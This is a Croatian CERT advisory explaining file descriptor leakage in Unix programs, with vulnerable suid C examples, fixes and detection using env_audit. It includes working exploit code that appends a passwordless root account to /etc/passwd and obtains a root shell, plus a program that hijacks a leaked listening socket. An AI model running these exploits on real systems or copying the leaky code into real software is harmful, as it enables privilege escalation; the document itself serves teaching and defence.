HRVATSKA AKADEMSKA I ISTRAŽIVAČKA MREŽA
CROATIAN ACADEMIC AND RESEARCH NETWORK

Ranjivosti Unix aplikacija na propuštanje *file descriptora*

CCERT-PUBDOC-2004-04-70

CARNet CERT u suradnji s LS&S

Sigurnosni problemi u računalnim programima i operativnim sustavima područje je na kojem CARNet CERT kontinuirano radi.
Rezultat toga rada ovaj je dokument koji je nastao suradnjom CARNet CERT-a i LS&S-a, a za koji se nadamo se da će Vam koristiti u poboljšanju sigurnosti Vašeg sustava.

CARNet CERT, www.cert.hr - nacionalno središte za **sigurnost računalnih mreža** i sustava.

LS&S, **www.lss.hr**- laboratorij za sustave i signale pri Zavodu za elektroničke sustave i obradbu informacija Fakulteta elektrotehnike i računarstva Sveučilišta u Zagrebu.

Sadržaj

1. UVOD 4
2. PROCESI NA UNIXU 4
3. DATOTEKE I OPISNICI DATOTEKA 5
4. PROPUSTI NA RAZINI DATOTEČNOG SUSTAVA 7
5. PROPUŠTANJE MREŽNIH UTIČNICA 8
6. OTKRIVANJE RANJIVOSTI 10
7. ZAKLJUČAK 14
8. REFERENCE 15

1. Uvod

U posljednjih nekoliko godina sigurnost je postala jedan od najvažnijih aspekata prilikom planiranja i izgradnje računalnih sustava. Samim time sve se veća pažnja posvećuje uklanjanju i umanjivanju prijetnji i ranjivosti koje na bilo koji način mogu ugroziti povjerljivost, integritet ili raspoloživost informacijskih sustava. Jedan od problema o kojem je potrebno voditi računa je svakako i siguran razvoj programskog koda, odnosno sigurnost na aplikacijskoj razini.

Pri programiranju aplikacija vrlo je važno slijediti neke norme i načela sigurnog programiranja koja ovise o programskom jeziku koji se koristi, operacijskom sustavu i primjeni same aplikacije. *File descriptor* propusti opisani u ovom dokumentu uglavnom su slabo poznati, te još uvijek postoji veliki broj aplikacija koje su ranjive u ovom smislu. Primjer su nedavno otkriveni propusti u `mod_perl` i `mod_php Apache` modulima, te `stunnel` aplikaciji, koji neovlaštenom korisniku omogućuju otimanje mrežnih utičnica (engl. *socket-a*), pa tako i otimanje HTTP i `stunnel` servisa. Sigurnosne propuste kod aplikacija uglavnom možemo grubo klasificirati u nekoliko osnovnih skupina:

1. Memorijski propusti
   - klasični preljev spremnika;
   - *format string* propusti;
   - dvostruki `free()` poziv ;
   - *off by one*, neterminirani znakovni nizovi, itd.
2. Propusti kod korištenja datoteka i datotečnog sustava
   - *race condition* propusti;
   - zloupotreba simboličnih veza (engl. *symbolic links*);
   - *reverse traversal* propusti (../../);
   - pogrešno postavljene dozvole;
   - *file descriptor* ranjivosti.
3. Propusti Web aplikacija
   - propusti zbog nedovoljne provjere korisničkog unosa;
   - propusti specifični za programski jezik u kojem je Web aplikacija pisana;
   - problemi upravljanja sjednicama (engl. *Session management*);
   - Cross Site Scripting (XSS) ranjivosti;
   - ubacivanje SQL upita (engl. *SQL injection*).
4. Dizajnerski propusti
   - propusti kod samog dizajna aplikacije, odnosno izrade sigurnosne politike;
   - standardne zaporke ili prijavljivanje bez potrebe za zaporkom:
   - slučaj kada su povjerljivi podaci dostupni neovlaštenom korisniku, korištenje preslabog ili pogrešnog algoritma za kriptiranje.

Kao što se može vidjeti, *file descriptor* propusti, o kojima će biti više riječi u ovome dokumentu, spadaju u skupinu propusta na bazi datotečnog sustava.

2. Procesi na Unixu

Proces se definira kao program u izvršavanju, i koji je prisutan u radnoj memoriji računala. Na Unixoidnim sustavima novi procesi, odnosno djeca (engl. *child*), stvaraju se iz već postojećih procesa, pa tako svaki proces ima svoj roditeljski (engl. *parent*) proces. Izuzetak je program `init` koji se pokreće nakon učitavanja jezgre sustava u radnu memoriju, a služi za daljnje podizanje sustava. Svaki proces također ima svoj jedinstveni PID (engl. ***P**rocess **ID**entification*) broj i PPID (engl. ***P**arent **P**rocess **ID**netification*), koji je zajednički sa ostalim procesima na sustavu koji imaju isti roditeljski proces.

Novi procesi mogu se kreirati `fork()` i `execve()` pozivima. Pri kreiranju novih procesa, oni od svojih roditelja "nasljeđuju" određene karakteristike kao što su dijeljena memorija, otvoreni opisnici datoteka (engl. *file descriptor*), funkcije za rukovanje signalima (engl. *signal handler*), itd. Osnovne razlike kod procesa kreiranih `fork()` i `execve()` pozivima su da se procesi kreirani `fork()` pozivom od roditelja razlikuju tek za PID vrijednost, dok se procesi proizašli iz `execve()` poziva od

procesa roditelja razlikuju u funkcijama za rukovanje signalima, nekim varijablama okruženja i dijeljenoj memoriji. Poziv `fork()` kreira novi proces koji se od roditeljskog procesa razlikuje jedino u PID i PPID vrijednostima. Novi proces ima isti programski kod kao i njegov roditeljski proces, pa se razlika u izvršavanju koda određuje prema vrijednosti vraćenoj od `fork()` poziva.
Kad se novi proces kreira, vrijednost vraćena iz `fork()` poziva za njega je 0, dok proces roditelj dobiva PID broj od novog procesa. U nastavku je priložen primjer korištenja `fork()` poziva za kreiranje novog procesa.

fork.c

```
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

main (int argc, char **argv)
{
pid_t parent, child;
parent = getpid();
printf ("Roditeljev PID: %d\n",parent);
if ((child=fork()) == 0)
   printf ("\n#Pozdrav od djeteta!!!\n");
else
   printf ("Djetetov PID: %d\n",child);
}
```

Prevođenje i pokretanje `fork.c` programa:

```
[root@laptop FILEDESCVULN]# gcc fork.c -o fork
[root@laptop FILEDESCVULN]# ./fork
Roditeljev PID: 25830
Djetetov PID: 25831
[root@laptop FILEDESCVULN]#
#Pozdrav od djeteta!!!
[root@laptop FILEDESCVULN]#
```

Poziv `execve()` izvršava neki program sustava ili skriptu, no ne stvara novi proces sa novim PID brojem, nego memoriju procesa koji poziva `execve()` prepisuje sa programom koji se treba izvršiti. Prepisuje se text, data, bss i stog memorija. U nastavku je priložen primjer `execve()` poziva koji izvršava program `/bin/ls`.

execve.c

```
#include <stdio.h>
#include <unistd.h>
main (int argc, char **argv, char **envp)
{
     execve ("/bin/ls", argv, envp);
}
```

Prevođenje i pokretanje `execve.c` programa:

```
[root@laptop FILEDESCVULN]# gcc execve.c -o execve
[root@laptop FILEDESCVULN]# ./execve
a.out      execve     SFDFFAP.TXT      t     test1.c
CCERT.txt  execve.c   SFDFFAP.TXT.bak  t.c   te.txt
exam.c     primjer.c  sock.c           test  typescript
[root@laptop FILEDESCVULN]#
```

Postoje i drugi pozivi za kreiranje novih procesa, kao što su `execl()`, `execlp()`, `execle()`, `execv()`, `execvp()`, `system()`, no oni su samo sučelje za `execve()` i `fork()` pozive.

3. Datoteke i opisnici datoteka

Unix operacijski sustavi otvorene datoteke koje proces koristi označavaju brojevima, tzv. opisnicima datoteke (engl. *file descriptor*). Svaki Unix proces obično ima otvorena tri standardna *file descriptora*:

- 0 - standardni ulaz (engl. *standard input* - `stdin`);
- 1 - standardni izlaz (engl. *standard output* - `stdout`);
- 2 - standardne greške (engl. *standard error* - `stderr`).

Ukoliko proces otvori neku datoteku za čitanje ili pisanje, stvara se novi *file descriptor* čija vrijednost ovisi o prije alociranim *file descriptorima*, odnosno otvorenim datotekama. Npr. ako proces ima otvorene samo standardne *file descriptore*, a otvori novu datoteku, njezin *file descriptor* će biti broj 3.
Unix ima nekoliko različitih vrsta datoteka:

- obična datoteka;
- direktorij;
- mrežna utičnica (engl. *socket*);
- FIFO (**F**irst **I**n **F**irst **O**ut);
- simbolička veza (engl. *symbolic link*);
- blokovni uređaj (engl. *block device*);
- znakovni uređaj (engl. *character device*).

Datoteke se otvaraju pozivom `open()` ili `creat()`, koji vraćaju novi *file descriptor* broj. Postoje i drugi pozivi za rad (otvaranje) datoteka kao `fopen()`, `fdopen()` i `freopen()`, no oni su samo sučelje, koje na nižoj razini koristi `open()` poziv.
Oblik `open()` poziva je sljedeći:

```
int open(const char *pathname, int flags, mode_t mode);
```

Prvi argument je kompletna putanja do datoteke koja se otvara, drugi argument su zastavice koje se koriste za otvaranje datoteke, a treći argument predstavlja dozvole koje se na datoteku postavljaju ako se ona kreira. Treći argument se može izostaviti ako se ne radi o kreiranju datoteke.
Kao što je navedeno, pri otvaranju datoteke, pozivu `open()` mogu se dodati zastavice koje određuju način na koji se datoteka otvara. U nastavku su navedene i objašnjene neke zastavice:

- O_RDONLY: datoteka se otvara samo za čitanje;
- O_WRONLY: datoteka se otvara samo za pisanje;
- O_RDWR : datoteka se otvara za čitanje i pisanje;
- O_CREAT: ukoliko datoteka već ne postoji, biti će kreirana;
- O_EXCL: kada se koristi sa O_CREAT zastavicom, ukoliko datoteka već postoji, poziv `open()` vraća broj -1, što predstavlja grešku;
- O_TRUNC: ako datoteka postoji i može se pisati po njoj, njen sadržaj će biti obrisan;
- O_APPEND: označava dodavanje podataka na kraj datoteke.

Nakon otvaranja datoteke, njezin sadržaj se čita ili se po njoj piše. Za to služe pozivi `read()` i `write()`.
Oblik poziva `read()`:

```
ssize_t read(int fd, void *buf, size_t count);
```

Prvi argument pozivu `read()` je otvoreni *file descriptor* iz kojeg će se čitati, drugi argument je međuspremnik (engl. *buffer*) u koji će se spremiti pročitani podaci, a treći argument je veličina međuspremnika. Poziv `read()` vraća broj pročitanih okteta.
Oblik poziva `write()`:

```
ssize_t write(int fd, const void *buf, size_t count);
```

Prvi argument pozivu `write()` je otvoreni *file descriptor* u koji se piše, drugi argument je međuspremnik u kojem se nalaze podaci koji će se pisati u datoteku, a treći argument je veličina međuspremnika. Poziv `write()` vraća broj upisanih okteta.
Nakon završetka rada sa datotekom, njezin *file descriptor* se zatvara pozivom `close()`, čiji jedini argument je broj *file descriptora*.
U nastavku je priložen program koji otvara datoteku naziva "`za_pisanje.txt`" i piše u nju. Otvoreni *file descriptor* se sprema u varijablu `fd`, a poziv `write()` se koristi za pisanje po datoteci (otvorenom *file descriptoru*). Na kraju se *file descriptor* zatvara pozivom `close()`.

open.c

```
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
main (int argc, char **argv)
{
      int fd;
```

```
      char pisiovo[] = "CERT & LSS\n";
      fd = open ("za_pisanje.txt", O_WRONLY|O_CREAT);
      write (fd, pisiovo, strlen(pisiovo));
      close(fd);
}
```

Prevođenje i pokretanje `open.c` programa:

```
[root@laptop FILEDESCVULN]# gcc open.c -o open
[root@laptop FILEDESCVULN]# ./open
[root@laptop FILEDESCVULN]# cat za_pisanje.txt
CERT & LSS
[root@laptop FILEDESCVULN]#
```

4. Propusti na razini datotečnog sustava

Kao što je već spomenuto, kad proces roditelj kreira novi proces, taj novi proces će od roditelja naslijediti otvorene *file decriptore*, dijeljenu memoriju, funkcije za rukovanje signalima itd. Do problema može doći ako proces roditelj ima veće privilegije na sustavu od njegovog djeteta, a slučajno mu proslijedi otvoreni *file descriptor* neke datoteke za koju dijete u normalnim okolnostima nema dozvole. U tom slučaju proces dijete može pisati ili čitati (ovisno sa kojim zastavicama je otvorena datoteka) kroz dobiveni *file descriptor*, što u svakom slučaju predstavlja sigurnosni rizik.

U nastavku je prikazan ranjiv *suid root* program `test` koji otvara `/etc/passwd` datoteku za čitanje i pisanje (dodavanje), uklanja root privilegije sa procesa, te pozivom `execve()` pokreće program `test` u tekućem direktoriju.

propust.c

```
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
main (int argc, char **argv, char **envp)
{
        int fd = open ("/etc/passwd",O_RDWR|O_APPEND);
        setreuid (getuid(),getuid());  // uklanjanje root privilegija
        setregid (getgid(),getgid());  // uklanjanje root privilegija
        execve ("./test", argv, envp);
        close (fd);
}
```

Vidimo da se *file desciptor* `/etc/passwd` datoteke ne zatvara prije pokretanja `test` programa, što znači da `test` program dobiva otvoreni *file descriptor* `/etc/passwd` datoteke, po kojoj on sada može pisati, iako vlasnik `test` procesa nema dozvole za to. Propušteni *file descriptor* ima broj 3, jer program `propust` ima otvorene samo standardne *file descriptore*. U nastavku je prikazan maliciozni `test` program koji iskorištava ranjivost u programu `propust`, te dodaje novog korisnika u `/etc/passwd` datoteku jednostavnim korištenjem `write()` poziva po *file descriptoru* 3.

test.c

```
main ()
{
   char propust[]="provaljeno::0:0:file descriptor propust:/root:/bin/sh\n";
   write (3,propust,strlen(propust));
}
```

Prevođenje programa `propust.c` i postavljanje dozvola:

```
[root@laptop FILEDESCVULN]# gcc propust.c -o propust
[root@laptop FILEDESCVULN]# cp propust /usr/local/bin
[root@laptop FILEDESCVULN]# chmod +s /usr/local/bin/propust
```

U nastavku je prikazano kako neovlašteni korisnik pomoću `test.c` programa iskorištava propuštanje *file descriptora* u programu `propust`, da se domogne administratorskih ovlasti:

```
[leon@laptop tmp]$ gcc test.c -o test
[leon@laptop tmp]$ propust
[leon@laptop tmp]$ tail -5 /etc/passwd
sshd:x:505:508::/home/sshd:/bin/bash
```

```
leo:x:506:509::/home/leo:/tmp/a.out
spong:x:507:510::/home/spong:/bin/bash
popa3d:x:508:511::/home/popa3d:/bin/bash
provaljeno::0:0:file descriptor propust:/root:/bin/sh
[leon@laptop tmp]$
[leon@laptop tmp]$ su provaljeno
sh-2.05a# id
uid=0(root) gid=0(root) groups=0(root)
sh-2.05a#
```

Program `propust` je iskorišten s ciljem da se u `/etc/passwd` datoteku doda žuto označena linija koja neovlaštenom korisniku omogućuje dolazak do ovlasti administratora sustava. Kako bi se uklonila ova kritična ranjivost u programu `propust`, potrebno je liniju `close(fd);` staviti prije `execve()` poziva, tako da se `/etc/passwd` *file descriptor* zatvara prije `execve()` poziva. Ovakvi propusti neovlaštenom korisniku najčešće omogućavaju pisanje po važnijim datotekama sustava, ili čitanje određenih datoteka za koje isti nema ovlasti, no nije isključeno ni mijenjanje dozvola datoteka korištenjem `fchown()` sistemskog poziva.

5. Propuštanje mrežnih utičnica

Mrežna utičnica (engl. *socket*) također je *file descriptor*, pa se kod programa uz propuštanje *file descriptora* za obične datoteke može pronaći i propuštanje *file descriptora* za mrežne utičnice. Propuštene mrežne utičnice neovlaštenom korisniku najčešće omogućuju preuzimanje mrežne konekcije, preuzimanje nekog privilegiranog mrežnog porta i sl. Razlika između mrežnih utičnica i običnih *file descriptora* na korisničkoj razini je uglavnom ta da se mrežne utičnice alociraju pozivom `socket()`, dok se obični *file descriptori* alociraju pozivom `open()`. U nastavku je priložen program koji se ponaša kao `inetd` servis - pruža mrežnu funkcionalnost korisničkim programima koji nemaju mrežnu podršku.

mini-inetd.c

```
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <arpa/inet.h>

main (int argc, char **argv)
{
int fdcl, fdsr, i=1, n;
struct sockaddr_in serv, cli;
char hi[] = "\nDobrodosli u LSS-INET-SERVER!!!\n\n";
pid_t pid;

printf ("--------------------\n");
printf ("LSS-INET-SERVER v0.1\n");
printf ("Leon Juranic \n<ljuranic@LSS.hr>\n");
printf ("--------------------\n");
if (argc != 2)
{
       printf ("Upotreba: %s <program_za_pokrenuti>\n\n",argv[0]);
       exit (-1);
}
fdsr = socket (AF_INET, SOCK_STREAM, 0);
setsockopt (fdsr, SOL_SOCKET, SO_REUSEADDR, (void*)&i, sizeof(i));
serv.sin_family = AF_INET;
serv.sin_port = htons (100);
serv.sin_addr.s_addr = INADDR_ANY;
bzero (serv.sin_zero, 8);

bind (fdsr, (struct sockaddr*)&serv, sizeof (struct sockaddr));
perror ("bind:");
listen (fdsr, 5);
n = sizeof(struct sockaddr);
```

```
fdcl = accept (fdsr, (struct sockaddr*)&cli, &n);
write (fdcl,hi,strlen(hi));
        if ((pid = fork())  == 0) {
       setreuid (getuid(),getuid());
       setregid (getgid(),getgid());
       dup2 (fdcl, 0);
       dup2 (fdcl, 1);
       dup2 (fdcl, 2);
       if(system (argv[1]) == -1) exit(0);
}
else {
         printf ("- Kreiran je novi proces\n");
         exit(0);
}
}
```

Prethodni program sluša na TCP portu 100, što zahtijeva administratorske privilegije (program mora biti *suid root* za obične korisnike). Nakon spajanja klijenta, administratorske privilegije se odbacuju radi sigurnosti, te se pokreće program koji je naveden kao argument u naredbenom retku. Izlaz pokrenutog programa preusmjerava se na klijentovu mrežnu utičnicu.

Prevođenje programa `mini-inetd.c` programa i postavljanje odgovarajućih dozvola:

```
[root@laptop FILEDESCVULN]# gcc mini-inetd.c -o mini
[root@laptop FILEDESCVULN]# cp mini /usr/local/bin
[root@laptop FILEDESCVULN]# chmod +s /usr/local/bin/mini
```

Pokretanje `mini` programa:

```
[leon@laptop leon]$ mini "/bin/uname -a"
--------------------
LSS-INET-SERVER v0.1
Autor: Leon Juranic
ljuranic@LSS.hr
--------------------
bind:: Success
- Kreiran je novi proces
[leon@laptop leon]$
```

Kada se klijent spoji na TCP port 100, vidjet će izlaz naredbe '`uname -a`', kao što je prikazano u nastavku:

```
[leon@laptop leon]$ nc localhost 100
Dobrodosli u LSS-INET-SERVER!!!

Linux laptop 2.4.18-3 #1 Thu Apr 22 10:37:53 EDT 2004 i686 unknown
[leon@laptop leon]$
```

Ukoliko se detaljnije pogleda `mini-inetd.c` program, možemo uočiti da se glavna poslužiteljska mrežna utičnica (koja se nalazi u varijabli `fdsr`) ne zatvara prije pozivanja `fork()` i `system()` poziva, što neovlaštenom korisniku omogućava slušanje na toj mrežnoj utičnici, pa samim time i postavljanje nekog svojeg poslužiteljskog programa na port 100. Uklanjanje navedenog propusta moguće je postavljanjem linije `close(fdsr);` prije `fork()` poziva.

U nastavku je priložen program koji, ako se prevede i pokrene pomoću `mini` programa, preuzima kontrolu nad propuštenom mrežnom utičnicom za TCP port 100, te nastavlja slušati na tom portu i obrađivati naredne zahtjeve.

Mrezni-lopov.c

```
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <stdio.h>
main ()
{
        int fd, i = sizeof(struct sockaddr);
        struct sockaddr_in sin;
        char oteto[] = "CERT & LSS: Oteta mrezna uticnica!!!\n";
        while (1) {
                fd = accept (3,(struct sockaddr*)&sin,&i);
                write (fd,oteto,strlen(oteto));
```

```
                close(fd);
        }
}
```

6. Otkrivanje ranjivosti

Ranjivosti koje se odnose na propuštanje *file descriptora* moguće je vrlo lako otkriti `env_audit` programom, koji se može skinuti sa adrese http://www.web-insights.net/env_audit/. `Env_audit` ispituje kompletno okruženje (engl. *environment*) nekog procesa koji kreira neki novi proces i upozorava na potencijalne sigurnosne propuste. Ispitivanje programa je jednostavno, a funkcionira na način da se `env_audit` pokrene unutar procesa koji se želi ispitati (putem `execve()` poziva). Nakon ispitivanja procesa, kompletno okruženje se može naći u `/tmp/env_auditxxxx.log` (xxxx se zamjenjuje brojevima) datotekama. U nastavku je prikazano okruženje `env_audit` programa pokrenutog unutar prije prikazanih `propust` (propust.c) i `mini` (mini-inetd.c) programa.

Okruženje `propust` (propust.c) programa:

```
Environment Audit Version: 2.0

Process ID: 4954
Parent Process ID: 4266
User ID: 313377 - leon
Group ID: 313377 - leon2
Effective User ID: 313377 - leon
Effective Group ID: 313377 - leon2
Supplemental Groups:  leon2
Process Group ID: 4954
Session ID: 4266
Parent Session ID: 4266
Current Working Dir: /tmp
Umask: 22
Process Priority: 0

---
Environmental Variables
$PWD=/tmp
$HOSTNAME=laptop
$LESSOPEN=|/usr/bin/lesspipe.sh %s
$USER=leon
$MAIL=/var/spool/mail/leon
$INPUTRC=/etc/inputrc
$LANG=en_US.iso885915
$LOGNAME=leon
$SHLVL=1
$SHELL=/bin/bash
$HISTSIZE=1000
$HOME=/home/leon2
$TERM=linux
$SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass
$PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/leon2/bin
$_=./a.out
$OLDPWD=/home/leon2
WARNING $IFS undefined
WARNING $TZ undefined

---
Resource Limits
Name            Current     Max
RLIMIT_CORE               0  (infinity)
RLIMIT_CPU      (infinity)   (infinity)
RLIMIT_DATA     (infinity)   (infinity)
RLIMIT_FSIZE    (infinity)   (infinity)
RLIMIT_MEMLOCK  (infinity)   (infinity)
RLIMIT_NOFILE         1024         1024
RLIMIT_OFILE          1024         1024
RLIMIT_NPROC          1023         1023
RLIMIT_RSS      (infinity)   (infinity)
RLIMIT_STACK       8388608   (infinity)
RLIMIT_AS       (infinity)   (infinity)

---
```

```
Posix Capabilities
Capabilities: '=ep cap_setpcap-ep'

----
Open file descriptor: 0
User ID of File Owner: leon
Group ID of File Owner: tty
Descriptor is stdin.
WARNING - process has controlling terminal
File type: character device
The tty connected to this descriptor is: /dev/tty7
File descriptor mode is: read and write

----
Open file descriptor: 1
User ID of File Owner: leon
Group ID of File Owner: tty
Descriptor is stdout.
WARNING - process has controlling terminal
File type: character device
The tty connected to this descriptor is: /dev/tty7
File descriptor mode is: read and write

----
Open file descriptor: 2
User ID of File Owner: leon
Group ID of File Owner: tty
Descriptor is stderr.
WARNING - process has controlling terminal
File type: character device
The tty connected to this descriptor is: /dev/tty7
File descriptor mode is: read and write

----
Open file descriptor: 3
User ID of File Owner: root
Group ID of File Owner: root
WARNING - Descriptor is leaked from parent.
File type: regular file, inode - 71700, device - 773
The descriptor is: /etc/passwd
File's actual permissions: 644
File descriptor mode is: read and write, append

---
Audit Complete
```

Žutom bojom označene su linije koje upućuju na propušteni *file descriptor* i njegov opis.

Okruženje `mini` (mini-`inetd.c`) programa:

```
Environment Audit Version: 2.0

Process ID: 4908
Parent Process ID: 4907
User ID: 313377 - leon
Group ID: 313377 - leon2
Effective User ID: 313377 - leon
Effective Group ID: 313377 - leon2
Supplemental Groups:  leon2
Process Group ID: 4905
Session ID: 4266
Parent Session ID: 4266
Current Working Dir: /home/leon2
Umask: 22
Process Priority: 0

---
Environmental Variables
$PWD=/home/leon2
$HOSTNAME=laptop
$LESSOPEN=|/usr/bin/lesspipe.sh %s
$USER=leon
$MAIL=/var/spool/mail/leon
$INPUTRC=/etc/inputrc
```

```
$LANG=en_US.iso885915
$LOGNAME=leon
$SHLVL=2
$_=/usr/local/bin/env_audit
$SHELL=/bin/bash
$HISTSIZE=1000
$HOME=/home/leon2
$TERM=linux
$SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass
$PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/leon2/bin
WARNING $IFS undefined
WARNING $TZ undefined

---
Resource Limits
Name            Current     Max
RLIMIT_CORE               0  (infinity)
RLIMIT_CPU      (infinity)  (infinity)
RLIMIT_DATA     (infinity)  (infinity)
RLIMIT_FSIZE    (infinity)  (infinity)
RLIMIT_MEMLOCK  (infinity)  (infinity)
RLIMIT_NOFILE         1024        1024
RLIMIT_OFILE          1024        1024
RLIMIT_NPROC          1023        1023
RLIMIT_RSS      (infinity)  (infinity)
RLIMIT_STACK       8388608  (infinity)
RLIMIT_AS       (infinity)  (infinity)

---
Posix Capabilities
Capabilities: '=ep cap_setpcap-ep'

----
Open file descriptor: 0
User ID of File Owner: root
Group ID of File Owner: root
Descriptor is stdin.
No controlling terminal
File type: socket
Address Family: AF_INET
Local address: 127.0.0.1
Local Port: 100
NOTICE - connected to a privileged port
Peer address: 127.0.0.1
Peer Port: 1060
Socket options:
       SO_BROADCAST: off
       SO_DONTROUTE: off
       SO_ERROR: 0
       SO_KEEPALIVE: off
       SO_LINGER: off
       SO_OOBINLINE: off
       SO_RCVBUF: 87840
       SO_SNDBUF: 50556
       SO_RCVLOWAT: 1
       SO_SNDLOWAT: 1
       SO_RCVTIMEO: 0 seconds and 0 microseconds
       SO_SNDTIMEO: 0 seconds and 0 microseconds
       SO_REUSEADDR: on
       SO_REUSEPORT: undefined
       SO_TYPE: 1
       SO_USELOOPBACK: undefined
       IP_TTL: 64
       IPV6_IPV6ONLY: undefined
       TCP_MAXSEG: 16383
       SO_PEERCRED: peer uid 0, peer gid 0
File descriptor mode is: read and write

----
Open file descriptor: 1
User ID of File Owner: root
Group ID of File Owner: root
Descriptor is stdout.
```

```
No controlling terminal
File type: socket
Address Family: AF_INET
Local address: 127.0.0.1
Local Port: 100
NOTICE - connected to a privileged port
Peer address: 127.0.0.1
Peer Port: 1060
Socket options:
       SO_BROADCAST: off
       SO_DONTROUTE: off
       SO_ERROR: 0
       SO_KEEPALIVE: off
       SO_LINGER: off
       SO_OOBINLINE: off
       SO_RCVBUF: 87840
       SO_SNDBUF: 50556
       SO_RCVLOWAT: 1
       SO_SNDLOWAT: 1
       SO_RCVTIMEO: 0 seconds and 0 microseconds
       SO_SNDTIMEO: 0 seconds and 0 microseconds
       SO_REUSEADDR: on
       SO_REUSEPORT: undefined
       SO_TYPE: 1
       SO_USELOOPBACK: undefined
       IP_TTL: 64
       IPV6_IPV6ONLY: undefined
       TCP_MAXSEG: 16383
       SO_PEERCRED: peer uid 0, peer gid 0
File descriptor mode is: read and write

----
Open file descriptor: 2
User ID of File Owner: root
Group ID of File Owner: root
Descriptor is stderr.
No controlling terminal
File type: socket
Address Family: AF_INET
Local address: 127.0.0.1
Local Port: 100
NOTICE - connected to a privileged port
Peer address: 127.0.0.1
Peer Port: 1060
Socket options:
       SO_BROADCAST: off
       SO_DONTROUTE: off
       SO_ERROR: 0
       SO_KEEPALIVE: off
       SO_LINGER: off
       SO_OOBINLINE: off
       SO_RCVBUF: 87840
       SO_SNDBUF: 50556
       SO_RCVLOWAT: 1
       SO_SNDLOWAT: 1
       SO_RCVTIMEO: 0 seconds and 0 microseconds
       SO_SNDTIMEO: 0 seconds and 0 microseconds
       SO_REUSEADDR: on
       SO_REUSEPORT: undefined
       SO_TYPE: 1
       SO_USELOOPBACK: undefined
       IP_TTL: 64
       IPV6_IPV6ONLY: undefined
       TCP_MAXSEG: 16383
       SO_PEERCRED: peer uid 0, peer gid 0
File descriptor mode is: read and write

----
Open file descriptor: 3
User ID of File Owner: root
Group ID of File Owner: root
WARNING - Descriptor is leaked from parent.
File type: socket
```

```
Address Family: AF_INET
Local address: 0.0.0.0
Local Port: 100
NOTICE - connected to a privileged port
WARNING - Appears to be a listening descriptor - WAHOO!
Peer address: 127.0.0.1
Peer Port: 1060
Socket options:
       SO_BROADCAST: off
       SO_DONTROUTE: off
       SO_ERROR: 0
       SO_KEEPALIVE: off
       SO_LINGER: off
       SO_OOBINLINE: off
       SO_RCVBUF: 87380
       SO_SNDBUF: 16384
       SO_RCVLOWAT: 1
       SO_SNDLOWAT: 1
       SO_RCVTIMEO: 0 seconds and 0 microseconds
       SO_SNDTIMEO: 0 seconds and 0 microseconds
       SO_REUSEADDR: on
       SO_REUSEPORT: undefined
       SO_TYPE: 1
       SO_USELOOPBACK: undefined
       IP_TTL: 64
       IPV6_IPV6ONLY: undefined
       TCP_MAXSEG: 536
       SO_PEERCRED: peer uid 0, peer gid 0
File descriptor mode is: read and write

----
Open file descriptor: 4
User ID of File Owner: root
Group ID of File Owner: root
WARNING - Descriptor is leaked from parent.
File type: socket
Address Family: AF_INET
Local address: 127.0.0.1
Local Port: 100
NOTICE - connected to a privileged port
Peer address: 127.0.0.1
Peer Port: 1060
Socket options:
       SO_BROADCAST: off
       SO_DONTROUTE: off
       SO_ERROR: 0
       SO_KEEPALIVE: off
       SO_LINGER: off
       SO_OOBINLINE: off
       SO_RCVBUF: 87840
       SO_SNDBUF: 50556
       SO_RCVLOWAT: 1
       SO_SNDLOWAT: 1
       SO_RCVTIMEO: 0 seconds and 0 microseconds
       SO_SNDTIMEO: 0 seconds and 0 microseconds
       SO_REUSEADDR: on
       SO_REUSEPORT: undefined
       SO_TYPE: 1
       SO_USELOOPBACK: undefined
       IP_TTL: 64
       IPV6_IPV6ONLY: undefined
       TCP_MAXSEG: 16383
       SO_PEERCRED: peer uid 0, peer gid 0
File descriptor mode is: read and write
```

Žuto je označen propušteni *file descriptor*.

7. Zaključak

Opisane ranjivosti uglavnom su još nedovoljno poznate široj javnosti, pa je mnogo aplikacija ranjivo s obzirom na opisani problem. Iz priloženih primjera može se uočiti da ovakve propuste nije lako otkriti ručnim pregledavanjem izvornog koda, pogotovo ako se radi o složenijim aplikacijama. Alat

`env_audit` u oba slučaja otkrio je propušteni *file descriptor* i prijavio ranjivost, pa se može ustvrditi kako se radi o pouzdanom alatu koji je u mogućnosti otkriti sigurnosne probleme ovog tipa. Ovaj dokument samo je još jedan primjer kako i naizgled najbanalniji propust može biti dovoljan za kompromitiranje sustava.

8. Reference

Steve Grubb, http://www.web-insights.net/env_audit/
BUGTRAQ, http://www.securityfocus.com/archive/1